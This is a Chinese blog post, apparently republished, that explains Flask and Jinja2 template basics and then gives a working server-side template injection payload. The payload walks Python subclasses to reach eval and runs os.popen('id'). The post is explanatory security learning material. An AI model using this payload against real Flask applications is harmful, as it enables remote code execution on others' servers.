编程语言
首页 > 编程语言> > Python-flask-ssti

Python-flask-ssti

作者:互联网

Flask的特点

Part1:所有的flask应用在初始化时都必须创建程序实例,程序实例就是falsk的对象。falsk类只有一个必须指定的参数,即程序主模块或者包的名字。

Part2:客户端发送Url给Web服务器,服务器将Url转发给falsk程序实例。程序实例需要知道对于每一个Url请求启动哪一部分的代码。所以保存了一个Url和python函数的映射关系。处理url和函数之间关系的程序,叫做路由。在flask中,定义路由最简单的方法是使用程序实例的.route装饰器把装饰的函数注册为路由。

part3:程序实例用run方法启动falsk集成的开发web的服务器。name='main'是python常用的方法,表示只有直接启动脚本的时候才用run方法,如果是其他脚本调用脚本程序假定父级脚本会启用不同的服务器,因此不用执行app.run()服务器启动后,会启动轮询,等待并处理请求。轮询会一直请求,直到程序停止。

Jinja2

jnja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

Jinja2中的特殊语句:

1.{%%} : 控制结构
2.{{}} : 变量取值。
3.{##} : 注释

思路

jinja2模板中使用{{ }}语法表示一个变量,他是一种特殊的占位符。当利用jinja2进行渲染时,他会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的python数据类型。被两个括号包裹的内容会输出表达式的值,本次复现就是利用这个语句在{{}}中使用内置变量执行各种命令。

Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数。加上python中的魔术方法,object类中的基本方法。结合这几个 我们可以 实现任意代码的执行。

寻找payload

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

返回子类列表
返回子类列表
warning message可以调用__globals['builtins'],找到他的位置,165
**warning message可以调用__globals['builtins'],找到他的位置,165
调用eval,后面的()可以执行任意代码
调用eval,后面的()可以执行任意代码
import os 成功
import os 成功

payload

url编码后使用

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} for循环查找目标function,和上面的warning message一样可以调用builtins
  {% for b in c.__init__.__globals__.values() %} 
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }} os库里面的popen()方法,能够打开一个管道,获取输入到cmd控制台的信息
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

标签:__,.__,实例,Python,程序,python,flask,ssti,模板
来源: https://www.cnblogs.com/Stunmaker/p/14379353.html